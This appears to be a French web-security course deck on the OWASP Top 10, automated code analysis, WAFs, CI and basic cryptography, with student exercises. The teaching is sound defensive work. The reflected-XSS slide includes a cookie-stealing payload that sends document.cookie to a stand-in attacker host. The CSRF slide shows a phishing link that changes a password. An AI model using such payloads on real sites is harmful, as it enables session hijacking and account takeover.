Mis à jour le 07/07/2025

Cédric BRASSEUR

Et vous ?

• Nom, prénom
• Etudes réalisées 
• Sécurité en entreprise ?
• Autres infos appréciées

Plan du cours

• Importance de la sécurité au sein du SI
  
  
• Notions et rappels sur la sécurité web
  
  
• ​Les failles applicatives courantes (TOP 10 OWASP)
  
  
• Les différents types d'analyses sécurités
  
  
• Le pare feu WAF
  
  
• Les bases de la cryptologie
  
  
• Workshop & Exercices
  
  
• Evaluation théorique & évaluation pratique

Securité

Objectifs de la semaine

• Comprendre l'importance de la sécurité pour une entreprise
• Intégrer la sécurité dans ses développements agiles
• Appréhender les failles les plus courantes (TOP 10 OWASP)
• S'exercer à la découverte & correction de failles de sécurités
• Apprendre à sécuriser son application
• Analyser de manière automatisée ses sources (SAST, DAST, IAST, ...)

Il est important de différencier ces deux aspects sur la sécurité informatique

Cyber Sécurité : Regroupe les virus, attaques et autres exploitations imprévues

Sécurité des applications : Répondre aux besoins en termes de sécurité pour une application donnée (TOP 10 OWASP)

• Intégrité des données
• Confidentialité des données personnelles
• Authentification pour effectuer les actions
  qui me concernent
• Disponibilité immédiate
• Sauvegarde des données et altérations

• Objectifs précédents
• Légitimité / Crédibilité,
• Droits à la vente de certains produits,
• Obligations légales (hopitaux, banques,...)

Accompagne dans les choix stratégiques de l'entreprise et en est responsable

Gestion de l'infrastructure physique et logique de l'entreprise et en est responsable

Responsable de la sécurité, de l'intégrité et de la disponibilité des données

Réalise la PSSI qui sera validé par le DSI

Responsable de la formation de ses équipes au développement sécurisé

Dev(Sec)Ops

Le cycle de vie de la sécurité d'une application

1. Versionning
2. Build
3. Intégration
4. Tests
5. Déploiement
6. Configuration
7. Monitoring

Et vôtre rôle à vous ?

Intégration au cycle de développement

Dans un cycle en V, la sécurité vient s'intégrer généralement entre la phase de coding et celle de tests.

Aujourd'hui, les méthodes agiles sont de plus en plus utilisées… Dans ce contexte, on rajoute dans le cycle une phase de sécurisation composée de plusieurs sprints.

Architecture d'une application web (rappel)

Les requêtes http

HTTP Request

Demande du client à effectuer une action via le protocole HTTP 

HTTP Response

Réponse formatée par le serveur pour retourner l'information voulue au client via HTTP

Les interfaces - REST

De manière générale, le Web est composé d'API REST (états et fonctionnalités basées sur des appels d'URL)

Vous allez en développer de nombreuses et voici les différentes méthodes qui existent

GET

HEAD

PUT

DELETE

POST

OPTIONS

Récupération d'un contenu

Comme GET mais pour le header (méta)

Mise à jour de contenu

Ajout de contenu

Suppression de contenu

Retourne les ressources disponibles

Les interfaces - REST

curl est une commande simple permettant d'appeler des URL en REST, cette commande vous permettra de communiquer avec l'API REST proposée par couchdb et donc travailler sur votre base de données.

Les interfaces - REST

Postman est un outil de requêtage REST très pratique. 

Il permet de faire tout type de requêtes, en ajoutant par exemple des headers particuliers. Si besoin, je peux vous montrer quelques exemples mais ça n'est pas l'objectif du cours.

La sécurité des navigateurs et serveurs web

SOP (Same Origin Policy)

CORS (Cross Origin
Resource Sharing)

Autorisé : 

Non Autorisé :

Origine : 

http://www.exemple.com/test/index.html

http://www.exemple.com/test/toto/page.html

http://www.exemple.com/test/autrePage.html

http://exemple.com/test/page2.html

https://www.exemple.com/...

http://www.exemple.com:8081/...

Permet de définir quelques options supplémentaires souvent nécessaires !

Telles que

• host,
• origin,
• allow-origin,
• allow-methods (pour les types de méthodes GET, POST, PUT, DELETE,...)

Parcourir la doc pour explication (lien CORS)

HSTS

Quelles différences entre http et https  ?

CSP

HTTPOnlyCookie & Authentification HTTP

HTTPOnlyCookie

Permet d'éviter toute récupération du cookie via autre chose qu'une requête HTTP. On empêche donc un script javascript contenant document.cookie d'être exécuté

Authentification HTTP

Permet de sécuriser un peu une connexion utilisateur via un protocole HTTP en rajoutant du hashage par exemple. Mais ça n'empêche pas qu'il puisse être contournable par un brute force.
Donc mon conseil c'est simplement de forcer HTTPS avec HSTS

Normes et législations

Bibliothèques, projet et recommandations

• MITRE CWE 
• BSIMM
• OpenSAMM
• SDL Microsoft
• OWASP CLASP
• ANSSI + CLUSIF

TOP 10 OWASP

Les injections SQL

Utilisation d'une entrée utilisateur non protégée pour modifier le comportement de la requête SQL derrière l'action à effectuer.

Parades :

• Utilisation de requêtes préparées,
• Utilisation d'un framework sécurisé,
• Utilisation de méthodes d'assainissement (ou d'échappement)
• Cheat sheet

Exercice bWAPP

Leçon sur Snyk (très très bien faite)

TOP 10 OWASP

Exercice simple (Injection)

- Créez une base de données contenant une table user(name, password)

- Utilisez le code php de CodeAvecVulnerabilites.php 

HACKEZ VOTRE APPLICATION !

- Sécurisez votre application en ajoutant des requêtes préparées

TOP 10 OWASP

Les injections XPath

Langage utilisé pour récupérer des informations dans un document XML. Comme pour les injections SQL, le but est d'utiliser les caractères spéciaux pour fausser le résultat.

Parades :

• Utilisation de méthodes d'assainissement (ou d'échappement)
• Autre exemple

Leçon Snyk

TOP 10 OWASP

Les injections XXE

Utilisation de la méthode Entity afin d'ajouter une référence à un appel de fichier externe depuis le DOCTYPE du fichier. Permet par exemple de récupérer des informations non négligeables sur le serveur directement.

Parades :

- Désactiver les entity externes

TOP 10 OWASP

Les injections LDAP

Utilisation du même principe que les injections SQL et XPath, mais sur du contenu LDAP (Ex:Active Directory)

Parades :

• Utilisation de méthodes d'assainissement (ou d'encodage en l'occurence ici)
  • LdapFilterEncode(string)

TOP 10 OWASP

Les injections de code

Utilisation d'une faiblesse dans le code pour y injecter des données. Les fonctions eval() et include() sont souvent en cause.

Parades :

• Ne jamais utiliser une entrée utilisateur dans une fonction d'inclusion de code
• Utilisation de méthodes d'assainissement (ou d'échappement)

Leçon Snyk

TOP 10 OWASP

Violation de gestion d'authentification et de sessions

S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.

Parades :

• HTTPS
• Secure cookie
• Mots de passes forts (forcé et vérifié lors de l'inscription)
• Hashage des mots de passes & Salage

Voir exemple de chiffrement mot de passe avec password_hash.php

TOP 10 OWASP

Violation de gestion d'authentification et de sessions

S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.

Id de sessions

Timeout de sessions

TOP 10 OWASP

Man In The Middle

S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.

Tous les flux sont interceptés (incluant donc les logins, les transactions bancaires etc...).
Il est tout de même nécessaire de passer par une phase de décryptage pour ce MITM.
Plus d'info ici

TOP 10 OWASP

Exercice utilisation de bcrypt

Suivez ce tutoriel afin de réaliser une mise en place un hashage de mot de passe efficace. Pensez à ajouter les vérifications sur le mot de passe, par exemple, ajoutez les points suivants :

• Doit contenir au moins 8 caractères
• Doit contenir au moins une minuscule
• Doit contenir au moins une majuscule
• Doit contenir au moins un caractère spécifique dans la liste suivante : , ! . : ? ^ $ * % [ ( { | } ) ]

https://www.geeksforgeeks.org/php-crypt-password_hash-functions/

Ceux qui finissent plus tôt peuvent se tenter à écrire un petit script pour bruteforcer un formulaire (qui n'a pas de captcha et avec un mdp simple). En partant d'un fichier contenant des mots de passes à essayer par exemple.

Pause workshop hacking ...

Si nous en sommes arrivé là dès la première journée, nous avançons bien, alors je vous propose une pause sur des workshop hacking.

Voir partie workshop en allant trois fois vers la droite à avec la flèche en bas de l'écran (puis aller vers le bas évidemment...)

Aller sur la partie "Workshop" plus loin 

TOP 10 OWASP

Cross Site Scripting (Stored XSS)

Création d'un hook JavaScript via une entrée utilisateur mal protégée pour y insérer du contenu JS. Exemples : vols de cookies & keyloggers

Parades :

• Assainir les variables concernée par une entrée utilisateur (ou entrée API !)
• Utiliser un framework sécurisé
• HTTPOnly, ContentSecurityPolicy, X-XSS Protection,...

TOP 10 OWASP

Utilisation d'une entrée utilisateur non protégée pour exécuter du code JavaScript. Exemple : phishing avec une redirection depuis un lien qui semble sécurisé à premier abord (serveur intermédiaire nécessaire)

Parades :

• Assainir les variables concernée par une entrée utilisateur
• Utiliser un framework sécurisé
• HTTPOnly, ContentSecurityPolicy, X-XSS Protection,...

Cross Site Scripting (Reflected XSS)

TOP 10 OWASP

Un petit schéma pour mieux comprendre

Cross Site Scripting (Reflected XSS)

https://www.hacksplaining.com/exercises/xss-reflected

Utilisateur

Navigateur

Hacker

1. Hacker envoie un lien contenant un code javascript.

2. L'utilisateur clique sur le lien qui récupère les cookies

window.location="http://www.hackersite.com?cookie="+document.cookie

3. Hacker récupère les appels à son hackersite avec le cookie de l'utilisateur

TOP 10 OWASP

Cross Site Scripting : DOM XSS

Utilisation d'une entrée utilisateur non protégée pour modifier le DOM d'une page HTML. Appliqué pour modifier une page ou ajouter des comportements incohérents.

Parades :

• Utilisation d'un framework sécurisé,
• Utilisation de méthodes d'assainissement (ou d'échappement)
• Content Security Policy

TOP 10 OWASP

Références directes non sécurisées à un objet

Découle d'une mauvaise gestion des droits et accès dans votre application. Toujours avoir des rôles et paramétrer les droits.
Exemple: En 2015 on pouvait supprimer des vidéos youtube par leur identifiant, même si la vidéo ne nous appartenait pas.

Parades :

• Appliquer des droits aux différents acteurs (utilisateurs / administrateurs)
• Utilisation de framework adapté

TOP 10 OWASP

Références directes non sécurisées à un objet

Inclus également les entrées cachées non contrôlées.
Exemple : <input id="cost" name="cost" type="hidden" value="15">

Parades :

• Protéger le champs cachés et leurs références. 
• Vérifier les impacts potentiels des champs cachés, attention au partage d'id dans un champ caché par exemple.

TOP 10 OWASP

BURP SUITE explications / démo

La démo se fera en deux parties, une première pour montrer le brute force, une seconde pour montrer comment exploiter les headers d'une requête http (host header attack + user agent spoofing)

TOP 10 OWASP

Mauvaise configuration de sécurité

Mauvaise configuration de sécurité, comme son nom l'indique, il reprend toutes les mauvaises configurations de sécurité sur un projet et son infrastructure.

Parades :

• Appliquer les principes de configuration de sécurité
• Normes de bases à respecter sur l'infrastructure essentiellement
• Regarder la Checklist des éléments à sécuriser

TOP 10 OWASP

Exposition de données sensibles (Partie crypto)

Protéger les données sensibles avec des méthodes de chiffrage efficaces (à ne pas confondre avec l'encodage qui est plus simple à reverse)

Parades :

• Utilisation de fonctions de chiffrement sécurisés, (on verra un peu plus tard si on a le temps de faire un peu de cryptographie)
• Ajout de salage dynamique aux mots de passes
• Sécurisation des infrastructures et code sensible
• Utilisation de Framework sécurisé de chiffrement

TOP 10 OWASP

Manque de contrôle d'accès au niveau fonctionnel

Ensemble des risques liés à des vulnérabilités dans la gestion des droits d'une application. Exemple : DDoS, ou accès à des fonctionnalités non autorisées

Parades :

• Vérification des entrées utilisateurs et leurs droits     
• Désactiver les directives permettant l'inclusion d'URL (Exemple : attributs du php.ini nommés allow_url_open & allow_url_include)

Local/Remote file inclusion

TOP 10 OWASP

Manque de contrôle d'accès au niveau fonctionnel

Host header attack

User agent spoofing

Server Side Request Forgery

Ce sont des attaques qui visent à modifier la requête HTTP ou ajouter un proxy pour en récupérer les informations.

Parades :

• Bannir HTTP_HOST (utiliser SERVER_NAME)
• Contrôler les erreurs (try/catch)
• Désactiver les protocoles non nécessaires, si possible ne garder que HTTPS
• Accepter que les requêtes externes & utiliser une whitelist d'autorisations

TOP 10 OWASP

Server Side Request Forgery

Souvent associé aux réseaux sociaux où l'on incite à partager des liens qui auront une preview. Le but étant d'utiliser le réseau social pour effectuer des appels à des url (fingerprint, scan de ports)

Server victime

Réseau social

Hacker

2. Le site effectue une preview appelant l'url (outbound)

1. Hacker envoie des liens sur un réseau social

GET HTTP exemple.com:21 NO

GET HTTP exemple.com:22 NO

GET HTTP exemple.com:80 OK

GET HTTP exemple.com:467 OK

Response : NO (400)

Response : NO (400)

Response : OK (200)

Response : OK (200)

3. Le serveur victime répond par statut HTTP

TOP 10 OWASP

CSRF / Cross Site Request Forgery (ce lien ne fonctionnera pas chez vous)

Manipulation de requête HTTP pour forcer la modification d'un mot de passe ou l'achat via un lien pirate. Souvent effectué via un formulaire scripté en JS.

Parades :

• Utilisation de jeton CSRF (qui suit l'utilisateur tout le long de son parcours après sa connexion. Il devra donc simuler de passer par les pages d'une navigation classique pour pouvoir soumettre le formulaire)
• Captcha & Framework adapté 

TOP 10 OWASP

CSRF / Cross Site Request Forgery

Le CSRF peut être un simple lien envoyé afin qu'un utilisateur clique sur ce lien et réalise des opérations à son "insu".

Bien qu'assez connue de nos jours, cette faille fonctionne avec bon nombre de personne encore aujourd'hui. 

Server victime

Hacker

3. Le site a en réalité appelé une api permettant de modifier l'url utilisant les cookies de l'utilisateur

1. Hacker envoie un email contenant un lien

Veuillez cliquer ici pour avoir un tacos triple viande gratuit : http://tacos-trois-viandes.com/change_password.js

GET
Hacked

http://tacos-trois-viandes.com/change_password.js

http://pirateLink.com/change_pwd?pwd=toto

Utilisateur

2. L'utilisateur clique sur le lien

TOP 10 OWASP

Exploitation de vulnérabilités connues

Ici, on parle vraiment de failles dans le code et de l'aspect sécurité dans son ensemble. L'idée est de s'aider d'outils pour s'assurer d'un bon niveau de sécurité pour son application.

Parades  Outils :

• WPScan, AppScan,...
• Nikto
• OpenVAS
• Checkmarx (Qui est je pense l'outil le plus complet du marché aujourd'hui en matière de sécurité)
• Revue de code !

TOP 10 OWASP

Redirections et renvois non validés

Utilisation d'une faiblesse dans le code afin de rediriger vers des pages tout en gardant le nom de domaine de base du site. Il est alors possible de rediriger vers des formulaires ayant pour but de voler des informations.

Parades :

• Eviter les redirections en dur (si possible / nécessaire) utiliser une whitelist
• Utiliser un framework sécurisé résoud en général tous les problèmes sur ce point

TOP 10 OWASP

Secure by design

Mauvaise architecture ou insuffisance de couverture de tests pour assurer un service intègre des données.

Parades :

• Ne pas faire confiance aux utilisateurs, ni aux développeurs (pour de la production)
• Mettre en place un S-SDLC (vu en fin de formation)
• Intégration continue 
• Mettre en place une architecture robuste

BDD
MySQL

3306

api

Node

3000

front

Vue

5000

Token API

https://learn.snyk.io/lesson/logging-vulnerabilities/

TOP 10 OWASP

Oublié lors de la formation...

https://learn.snyk.io/lesson/vulnerable-and-outdated-components/

Pare-feu WAF

Module d'une application web, serveur ou machine virtuelle, un WAF permet de protéger contre les attaques HTTP malveillantes.

Intégration continue

L'intégration continue a pour objectif de faciliter la tâche aux développeurs pour gérer leur code source et réaliser les tâches tout en rajoutant une couche de sureté avec différents tests automatisés lors des merge (ou commit d'ailleurs).

Pour notre CI, on ajoute des étapes supplémentaires à notre merge :

• Vérifications des tests automatisés (inclus la sécurité et qualité)
• Réalisation de revue de code
• Vérification syntaxique du code
• Gestion du build automatisé (générer les dépendances par ligne de commande, par exemple npm ci)

Schéma récapitulatif d'une CI

https://www.dewep.net/realisations/en/continuous-integration-tools

TOP 10 OWASP

Des modifications ont été apportées en 2021 pour faire évoluer ce top 10 car la sécurité est en constante évolution

https://owasp.org/www-project-top-ten/

Modifications apportées entre le top 10 OWASP 2017 => 2021

2017

2021

Exercice

Exercice top 10 OWASP

Je vais vous envoyer 5 morceaux de code dans lesquels vous allez devoir détecter la faille, l'expliquer en commentaire dans le code, expliquer comment l'exploiter, puis la corriger !

N'hésitez pas à poser des questions.

Mettez cet exercice de côté svp pour me l'envoyer à la fin.

Exercices

Rendez-vous sur   

https://www.hacksplaining.com/owasp

Votre objectif est de suivre les différents tutoriels interactifs du site (owasp).

N'hésitez pas à prendre le temps de lire les conseils de protection à la fin de chaque tuto. Et vous perdre sur le site si vous avez terminé l'owasp.

TOP 10 OWASP

Exercices supplémentaires

Rendez-vous sur

   https://www.root-me.org/fr/Documentation/Web/

Parcourez les cours, certains sont déjà vus mais les exemples de codes sont très complets sur ces documents.

Ensuite, rendez-vous sur la partie challenge Web-Client du site https://www.root-me.org/fr/Challenges/Web-Client/

Faites en le plus possible, pensez à trier par difficulté ! Commencez par ceux en javascript.
Vous pouvez aussi tenter les Web-Serveur Challenges.

Mise en place d'une CI avec SonarCloud

• Rendez vous sur SonarCloud, créer un compte, puis liez votre repertoire projet fil rouge à SonarCloud (plus complexe sans passer par git, mais vous pouvez faire des scans en local, voir dernière slide de la partie "Les différents types d'analyse sécurité" qui suit)
   
• Suivez les étapes pour intégrer SonarCloud à votre CI
  • Copier coller le fichier ci proposé par sonar à la racine de votre projet
  • Ajoutez le token SONAR_TOKEN à votre repo git (dans settings => secret and variable => Manage environment secrets)
  • Copier coller le fichier sonar.properties proposé par sonar et adaptez ce qu'il faut adapter si nécessaire
     
• Faites un nouveau push sur votre branche main
   
• Regardez les résultats de l'analyse + Faites une capture d'écran pour l'intégrer à votre plan de sécurisation.
   
• Corrigez le maximum de failles hautes / medium

Les analyses automatisées

SAST

Static Application Security Testing : Analyse statique du code

DAST

Dynamic Application Security Testing : Analyse dynamique de l'application

IAST

Interactive Application Security Testing : Analyse interactive de l'application, ici on va également tester de manière interactive les frameworks et dépendances utilisées en continue sur notre application

L'analyse statique

S'effectue via :

• Scripts
• Analyse à la frappe dans l'IDE
• Scans ponctuels,
• ...

Remonte les vulnérabilités :

• Top 10 OWASP
• Certaines normes PCI-DSS
• Inclus la qualité de votre code (pour la qualité SonarQube est meilleur)

Permet de :

• Détecter au plus tôt les vulnérabilités
• Propose des corrections ciblées
• Associe une criticité à chaque vulnérabilité
• Aide à la découverte des nœuds communs aux failles pour déterminer efficacement le "Best Fix Location"

Explications

Analyse statique

Comment ça marche ?

Transforme le code de votre application en arbre syntaxique pour en définir les interactions et y déceler de potentielles vulnérabilités.
Un arbre syntaxique se représente sous forme de nœuds liés les un aux autres. Permet par exemple de vérifier que les entrées utilisateurs sont bien purgées par une méthode d'assainissement.

Attention :

• De nombreux faux positifs sont à prévoir avec l'analyse statique
• Il faut parfois développer ou surcharger les règles de base pour s'adapter aux normes de votre entreprise 

Analyse statique

Exemples d'analyseurs

• sonarqube
• checkmarx
• appscan
• bandit (Bandit)
• eslint (ESLint (JavaScript and React))
• flawfinder (Flawfinder)
• kubesec (Kubesec)
• nodejs-scan (NodeJsScan)
• phpcs-security-audit (PHP CS security-audit)
• pmd-apex (PMD (Apex only))
• security-code-scan (Security Code Scan (.NET))
• semgrep,...

Analyse dynamique

En quoi c'est différent de l'analyse statique ?

Contrairement à l'analyse statique qui ne va analyser que les sources, l'analyse dynamique va tenter de profiter de failles plus poussées et liées également à la configuration de votre infrastructure sécurisée (tests de pénétration automatisés). Sera plus enclin à détecter des failles de types Cross-Site Scripting & les problèmes de gestion autour de l'authentification.

Attention :

• Plutôt complexe à mettre en place (même si depuis peu DAST peu être intégré à une CI)
• Attention à ne pas laisser trainer les résultats de ce genre de tests (ceux de l'analyse statique non plus)

Tests de pénétration

C'est là où on fait appel à des experts pour tester notre application de bout en bout !

Plusieurs types :

• White-box : Avec un accès total, pour identifier des vulnérabilités
• Black-box : Le mode criminel qui s'infiltre
• Grey-box : Le pentester a l'adresse IP du serveur et un compte utilisateur (= Man in the middle)
• Red-team : Deux équipes dans votre entreprise se challengent, l'une en temps que hacker, l'autre en tant que protecteur de l'application

(Manuel)

Installation & exercice SonarQube

- Téléchargez https://www.sonarqube.org/downloads/

(Ou utilisez docker)
 

- Suivez la documentation https://docs.sonarqube.org/latest/setup/get-started-2-minutes/
 

- Scannez cette application (manuellement, sinon il faut des prérequis particuliers), clonez le repo ou récupérez le zip sur https://github.com/formation-cbrasseur/securiteWEB

- Analysez les résultats dans SonarQube et tentez de comprendre où sont les vulnérabilités et rendez-vous dans le code de DVWA et / ou bWAPP pour trouver ou voir les solutions avec les "security_level=2".

Utilisation de Snyk

Rendez vous sur la documentation CI / CD de snyk

Ou pour github action / snyk

TODO

TODO

TODO

TODO

Cryptologie

Principe visant à étudier les problèmes liés à la sécurité des informations (confidentialité et authentification)

Objectifs

• S'assurer de rendre une information confidentielle en la chiffrant, tout en s'assurant que seule la source de destination sera capable de décrypter le contenu sécurisé
• Permettre d'éviter le vol de session ou la récupération de mots de passes

Les bases seulement… 

Cryptologie

Quelques algorithmes de chiffrage

Il existe différents types d'algorithmes de chiffrages, nous allons en lister quelques un et réaliser un exemple d'algorithme de César.

Les différents algorithmes

• DES,
• Triple DES,
• Algorithme de César,
• Vigenère,                                                                                
• Chiffrement symétrique / asymétrique,
• RSA/DSA,
• fonctions de hachages (MD5, SHA-0, SHA-1,...) 

Cryptologie

Chiffrement symétrique

La même clé est utilisée pour chiffrer et déchiffrer, ce qui implique qu'elle doit rester confidentielle.

Cryptologie

Chiffrement asymétrique

Une clé publique pour chiffrer, une clé privée pour déchiffrer.

Cryptologie

Fonction de hachage

• Fonction qui permet de calculer pour une grande quantité de données un résultat précis : une empreinte de gros fichier par exemple,
   
• Fonction à sens unique, pas d'inversion possible (en théorie)
   
• Utilisé pour garantir l'intégrité de données (comme vu avec le SHA-2 associé à des fichiers pour s'assurer qu'ils sont dans l'état attendu)

Exercice simple (César)

Réalisez un script dans le langage de votre choix qui transforme une chaîne en une chaine chiffrée grâce à l'algorithme de César.

L'algorithme de César :

• Décalage de la lettre courante de 3 caractères vers la droite dans l'alphabet ("BONSOIR" ==> "ERQVRLU")
• (optionnel) Découpage de la chaîne en tronçons de 5 caractères. Attention, cette étape rend le déchiffrage automatisé plus complexe pour une phrase !

                     Exemple : "BONSOIR" ==> "ERQVR LU"

& Réalisez le script de décryptage d'une chaine chiffré par l'algo de César (Exemple : "ERQVRLU" => "BONSOIR")

Mettez cet exercice de côté svp pour me l'envoyer à la fin.

Autre exemple avec le chiffre de Vigenère

Cet algorithme nécessite d'introduire la notion de clé. Cette clé est nécessaire pour pouvoir chiffrer ou déchiffrer le message selon une table de correspondance. Pour pouvoir chiffrer notre texte, à chaque caractère nous utilisons une lettre de la clé pour effectuer la substitution.

Exercice Vigenère

Réalisez un script en php qui transforme une chaîne en une chaine chiffrée grâce à l'algorithme de Vigenère.

Rendez-vous ici pour plus d'informations sur l'algorithme

   https://www.root-me.org/fr/Documentation/Cryptologie/Vigenere

Réalisez un chiffrage de la chaîne "BONSOIR", avec la clé "TOTO" par exemple. Le résultat devrait donner "UCGGHWK"

Mettez cet exercice de côté svp pour me l'envoyer à la fin.

Exercice complémentaires

Optionnel : Pour ceux qui terminent César et Vigénère plus tôt, vous pouvez aller vous renseigner sur les algo DES et TripleDES ici :

• DES :
  https://www.root-me.org/fr/Documentation/Cryptologie/DES
   
• TripleDES :
  https://www.root-me.org/fr/Documentation/Cryptologie/Triple-DES

Mettez cet exercice de côté svp pour me l'envoyer à la fin.

Cryptologie

Exemple d'algorithme Google Cloud KMS

Cryptage

Décryptage

Challenge "hacking"

Hacking de session simple

Rendez-vous sur                                                                              https://www.hackthissite.org/missions/basic/

Vous allez être contraint de créer un compte… 

Votre but est d'aller le plus loin possible dans les 11 challenges basics disponibles. (Sauf le challenge 6 à garder pour la fin, après la partie cryptographie)

Pour ceux qui finissent vite, n'hésitez pas à fouiner sur les autres challenges du site.

Je vous laisse un peu plus de 1 heure !

Challenge "hacking"

Hacking using JavaScript

Rendez-vous sur                                                                              https://www.hackthissite.org/missions/javascript/

Votre but est d'aller le plus loin possible dans  les 7 challenges JavaScripts disponibles.

Pour ceux qui finissent vite, n'hésitez pas à fouiner sur les autres challenges du site.

Je vous laisse 30 à 45 min.

TOP 10 OWASP

Exercices supplémentaires

Rendez-vous sur

  https://www.root-me.org/en/Challenges/Web-Client/

  https://www.root-me.org/en/Challenges/Programming/

Ce sont des tutoriels interactifs démarrant du plus simple vers plus compliqué, même avec la version gratuite il y a de quoi se perdre des heures sur le site tout en apprenant le hacking éthique. 

N'hésitez pas à enchaîner les rooms jusqu'à ce que la difficulté soit trop élevée !

Analyse SonarQube de votre projet Cube

Analysez votre projet Cube dans SonarQube.

Prenez le temps d'analyser les résultats, en priorisant les problèmes de sécurité, puis les autres métriques
(qualité / code smells).

Vous avez 2 heures pour améliorer la qualité et la sécurité de votre projet !

Plan de sécurisation

Etape N°1

Vérifier les 10 commandements du code sécurisé

Objectifs :

• Suivre une checklist des éléments à vérifier sur votre projet. (Faire apparaître la checklist utilisée et les réponses dans votre plan de sécurisation)
• Ajouter à la checklist que je vous propose les points spécifiques à votre projet / technologie 

Plan de sécurisation

Etape N°2

Intégrer les outils indispensables à l'analyse sécurité.

Objectifs :

• Analyse de code (statique & revue de code documentée !)
• Si possible, intégrer également une analyse dynamique.
• Mettre en place un WAF et définir ses règles de gestion
• Tests de pénétration (à faire entre vous sur le projet)

Plan de sécurisation

Etape N°3

"Secure by design" : Diminuer les surfaces d'attaque

Objectifs :

• Réduire le nombre d'éléments composant votre projet au minimum pour réduire les attaques potentielles (ça englobe le fait de bloquer des ports, le nombre de serveurs utilisés etc...)
• Séparation des privilèges et mise en place des rôles et autorisations.

Plan de sécurisation

Etape N°4

Réaliser des diagrammes de modélisation de menaces (ou alors une analyse de risque doit suffire)

Objectifs :

• Modéliser les menaces existantes et les documenter
• Autre possibilité : Démarrer d'une analyse de risque, c'est à dire lister les failles potentielles qui peuvent intervenir sur votre projet. 

Plan de sécurisation

Etape N°5

Respect de la vie privée de vos utilisateurs

Objectifs :

• Gestion des données personnelles et identification des données sensibles.
• L'idée de cette étape est d'apporter à votre projet ce qu'il est nécessaire de mettre en place pour respecter la vie privée de vos utilisateurs.
• Chiffrement des données !

S-SDLC

Secure-Software Development Life Cycle

Le S-SDLC concerne à la fois les manageurs et les développeurs dans une entreprise. Ce procédé n'est pas encore très répandu dans les entreprises, bien qu'il soit très efficace. Nous allons survoler les différentes étapes de mise en place d'un S-SDLC (méthodes agiles).

les développeurs

S-SDLC

Seconde étape

Exigences : phase importante où l'on défini les besoins en sécurité de l'organisation ainsi que l'élaboration du plan d'action et l'analyse de coût de la mise en place d'un S-SDLC

S-SDLC

Troisième étape

Conception : cartographie de l'architecture autour de l'application pour en modéliser les menaces. On va anticiper pour réduire les menaces potentielles.

Mieux vaut prévenir que guérir ! "

S-SDLC

Quatrième étape

Code : Déterminer les règles de développement à suivre et penser à effectuer une analyse de code statique !
Ces règles devront être respectées par toutes les parties prenantes de votre projet.

S-SDLC

Cinquième étape

Test : S'assure de la sécurité de manière dynamique avec l'utilisation de scans de vulnérabilités (dynamique), tests de fuzzing, ou tests de pénétrations.

S-SDLC

Sixième et dernière étape

Permet l'analyse des écarts entre les principes définis lors de l'étape 2 et la réalité du code applicatif de notre application.
On réalise également un plan de réponse aux incidents (écarts), puis on réalise une revue finale de sécurité.

Partie théorique

Envoyer fichier security_theory.docx

Partie pratique

Déjà, dézippez les sources et mettez les dans le dossier wamp/www (ou équivalent).

Pour chaque exercice du zip envoyé votre objectif est de :

• Trouver quelle est la faille et où elle se trouve dans l'exercice. Veuillez mettre un commentaire avec la faille en question juste au dessus de la ligne ou l'élément de faille. (Si possible mettez dans un commentaire l'instruction qui provoque la faille (ou le contenu de l'entrée utilisateur))
• Corrigez cette faille en développant le correctif. Vous pouvez vous aider de ce que l'on a vu ensemble ! Normalement, ce sont des exemples de bases, vous devriez vous en sortir.

(après c'est fini)